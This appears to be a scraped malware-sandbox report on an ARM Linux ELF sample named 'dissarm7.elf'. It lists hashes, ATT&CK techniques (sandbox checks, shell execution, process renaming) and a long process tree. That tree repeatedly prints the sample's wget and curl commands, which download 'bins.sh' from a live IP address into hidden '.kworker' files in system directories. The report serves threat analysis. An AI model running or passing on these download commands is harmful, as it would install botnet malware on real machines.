9d13acef7c8de1d1f4090826a348f991c2cfc29606fbcd4d8b2725a70c70c5e7

Analysis

max time kernel
145s
max time network
143s
platform
debian-12_armhf
resource
debian12-armhf-20260127-en
resource tags

arch:armhfimage:debian12-armhf-20260127-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
submitted
07/10/2026, 16:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dissarm7.elf
Size 165KB
Sample261007-t8b2bast4l
SHA256 9d13acef7c8de1d1f4090826a348f991c2cfc29606fbcd4d8b2725a70c70c5e7
MD5 da478b6bb3f2532b53403d636801d4ad
SHA1 4ef37e2c2936062e97b6fda63e3b70902811b72d
SHA512 57d5805a9a51712c877ecc39194b3e86641882181d2de1ee230907609f1c73cbc19184db0da80444db765aae5dc1b47e11b069d194c139ccfe79db70e40b9472
SSDEEP 3072:2tF9rkREmQ6Vk7S4UOK9E4lBa2stNY6T1Y9k7t+3WjUSVzO9:qFpkRHQPFUOKa6Ba2s7Y6T1Y2g3sUSVU
TLSH
T1EDF31849F881AB10D5D636BAFA5E414933675BBCE3FE7102AE205B3523CA92F0F76501
MD5 SHA1 SHA512 SSDEEP TLSH

Score

4^/10

antivm discovery execution

Malware Config

Signatures

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	[kworker/0:1]	810	dissarm7.elf

Checks CPU configuration 1 TTPs 35 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Command and Scripting Interpreter: Unix Shell 1 TTPs 64 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
903	sh
905	sh
930	sh
954	sh
965	sh
971	sh
841	sh
858	sh
894	sh
911	sh
927	sh
932	sh
935	sh
939	sh
942	sh
951	sh
836	sh
847	sh
851	sh
859	sh
900	sh
923	sh
842	sh
845	sh
902	sh
926	sh
929	sh
933	sh
936	sh
956	sh
912	sh
924	sh
938	sh
941	sh
962	sh
974	sh
844	sh
920	sh
819	sh
893	sh
896	sh
914	sh
945	sh
950	sh
848	sh
897	sh
899	sh
953	sh
968	sh
906	sh
908	sh
944	sh
969	sh
975	sh
918	sh
957	sh
959	sh
850	sh
915	sh
917	sh
947	sh
948	sh
960	sh
963	sh

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/stat	dissarm7.elf

Writes file to shm directory 5 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.kworker	curl
File opened for modification	/dev/shm/.kworker	curl
File opened for modification	/dev/shm/.kworker	curl
File opened for modification	/dev/shm/.kworker	curl
File opened for modification	/dev/shm/.kworker	curl

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.kworker	curl
File opened for modification	/tmp/.kworker	curl
File opened for modification	/tmp/.kworker	curl
File opened for modification	/tmp/.kworker	curl
File opened for modification	/tmp/.kworker	curl

/tmp/dissarm7.elf
/tmp/dissarm7.elf
1⤵
- Changes its process name
- Reads runtime system information
PID:806
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  PID:816
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:819
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /tmp/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    - Writes file to tmp directory
    PID:823
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/var/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  PID:835
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/var/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:836
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /var/tmp/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:837
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/dev/shm/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:841
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/dev/shm/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:842
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /dev/shm/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    - Writes file to shm directory
    PID:843
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/run/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:844
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/run/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:845
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /run/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:846
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/mnt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:847
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/mnt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:848
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /mnt/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:849
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/opt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:850
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/opt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:851
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /opt/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:852
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/etc/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:858
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/etc/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:859
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /etc/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:860
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:893
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:894
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /tmp/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    - Writes file to tmp directory
    PID:895
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/var/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:896
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/var/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:897
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /var/tmp/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:898
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/dev/shm/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:899
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/dev/shm/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:900
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /dev/shm/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    - Writes file to shm directory
    PID:901
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/run/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:902
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/run/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:903
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /run/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:904
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/mnt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:905
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/mnt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:906
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /mnt/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:907
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/opt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:908
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/opt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  PID:909
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /opt/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:910
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/etc/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:911
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/etc/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:912
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /etc/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:913
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:914
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:915
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /tmp/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    - Writes file to tmp directory
    PID:916
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/var/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:917
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/var/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:918
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /var/tmp/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:919
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/dev/shm/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:920
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/dev/shm/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  PID:921
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /dev/shm/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    - Writes file to shm directory
    PID:922
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/run/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:923
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/run/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:924
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /run/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:925
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/mnt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:926
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/mnt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:927
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /mnt/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:928
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/opt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:929
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/opt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:930
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /opt/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:931
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/etc/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:932
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/etc/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:933
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /etc/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:934
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:935
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:936
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /tmp/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    - Writes file to tmp directory
    PID:937
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/var/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:938
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/var/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:939
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /var/tmp/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:940
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/dev/shm/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:941
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/dev/shm/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:942
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /dev/shm/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    - Writes file to shm directory
    PID:943
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/run/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:944
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/run/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:945
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /run/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:946
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/mnt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:947
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/mnt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:948
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /mnt/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:949
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/opt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:950
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/opt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:951
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /opt/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:952
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/etc/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:953
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/etc/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:954
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /etc/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:955
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:956
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:957
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /tmp/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    - Writes file to tmp directory
    PID:958
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/var/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:959
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/var/tmp/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:960
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /var/tmp/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:961
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/dev/shm/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:962
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/dev/shm/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:963
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /dev/shm/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    - Writes file to shm directory
    PID:964
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/run/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:965
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/run/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  PID:966
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /run/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:967
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/mnt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:968
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/mnt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:969
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /mnt/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:970
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/opt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:971
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/opt/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  PID:972
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /opt/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:973
- /bin/sh
  /bin/sh -c "wget -q -T 10 -O '/etc/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:974
- /bin/sh
  /bin/sh -c "curl -fsSL --max-time 15 -o '/etc/.kworker' 'http://104.168.4.206/bins.sh' 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:975
- - /usr/bin/curl
    curl -fsSL --max-time 15 -o /etc/.kworker http://104.168.4.206/bins.sh
    3⤵
    - Checks CPU configuration
    PID:976

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot-10.127.2.0.lock

Path /run/bot-10.127.2.0.lock
Size 4B
SHA256 fda2aa700dd6cd0253cb37fb9b251090392f22709b6a8f38a4cf273876e7877b
MD5 47ddf4b342e52e2a8ddc59aa6360f830
SHA1 89735f46b69a71cfb1370f23d156a3027c79ce51
SHA512 29200ef750d055e423dc1b172fffc3b0f1de168021b76d83e419be5b3b5224ab695c0d0ac1cee9bd496fc3edb4a60e266825f6a2501df7ade19b0c9276c72298
MD5 SHA1 SHA512

Submit Download

.kworker

Path /tmp/.kworker
Size 2KB
SHA256 1fb799ef7061df38c45a23ceac84cdd4c9595ba2be70226fd5e040d6a978d4fa
MD5 488ed1889beeb0503f2ba5258bb3b790
SHA1 980fbbbe058f4af0764ef7c60ca1c01e05040452
SHA512 840718206b0a386847090a196284f90ed620a7e79fe5e8b618c2878d9611b581d97d21258a168b08c2f48a8725dfc6e81aeb1aeb0655b779d08e75e034fc9da5
TLSH
T158414FDA11A2063AAC64F867B0FA4D6436D1E2C654D07F1928FD39F9688DF4CF484B93
MD5 SHA1 SHA512 TLSH

Submit Download

pid	Process
903	sh
905	sh
930	sh
954	sh
965	sh
971	sh
841	sh
858	sh
894	sh
911	sh
927	sh
932	sh
935	sh
939	sh
942	sh
951	sh
836	sh
847	sh
851	sh
859	sh
900	sh
923	sh
842	sh
845	sh
902	sh
926	sh
929	sh
933	sh
936	sh
956	sh
912	sh
924	sh
938	sh
941	sh
962	sh
974	sh
844	sh
920	sh
819	sh
893	sh
896	sh
914	sh
945	sh
950	sh
848	sh
897	sh
899	sh
953	sh
968	sh
906	sh
908	sh
944	sh
969	sh
975	sh
918	sh
957	sh
959	sh
850	sh
915	sh
917	sh
947	sh
948	sh
960	sh
963	sh

pid	Process
903	sh
905	sh
930	sh
954	sh
965	sh
971	sh
841	sh
858	sh
894	sh
911	sh
927	sh
932	sh
935	sh
939	sh
942	sh
951	sh
836	sh
847	sh
851	sh
859	sh
900	sh
923	sh
842	sh
845	sh
902	sh
926	sh
929	sh
933	sh
936	sh
956	sh
912	sh
924	sh
938	sh
941	sh
962	sh
974	sh
844	sh
920	sh
819	sh
893	sh
896	sh
914	sh
945	sh
950	sh
848	sh
897	sh
899	sh
953	sh
968	sh
906	sh
908	sh
944	sh
969	sh
975	sh
918	sh
957	sh
959	sh
850	sh
915	sh
917	sh
947	sh
948	sh
960	sh
963	sh

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads

pid	Process
903	sh
905	sh
930	sh
954	sh
965	sh
971	sh
841	sh
858	sh
894	sh
911	sh
927	sh
932	sh
935	sh
939	sh
942	sh
951	sh
836	sh
847	sh
851	sh
859	sh
900	sh
923	sh
842	sh
845	sh
902	sh
926	sh
929	sh
933	sh
936	sh
956	sh
912	sh
924	sh
938	sh
941	sh
962	sh
974	sh
844	sh
920	sh
819	sh
893	sh
896	sh
914	sh
945	sh
950	sh
848	sh
897	sh
899	sh
953	sh
968	sh
906	sh
908	sh
944	sh
969	sh
975	sh
918	sh
957	sh
959	sh
850	sh
915	sh
917	sh
947	sh
948	sh
960	sh
963	sh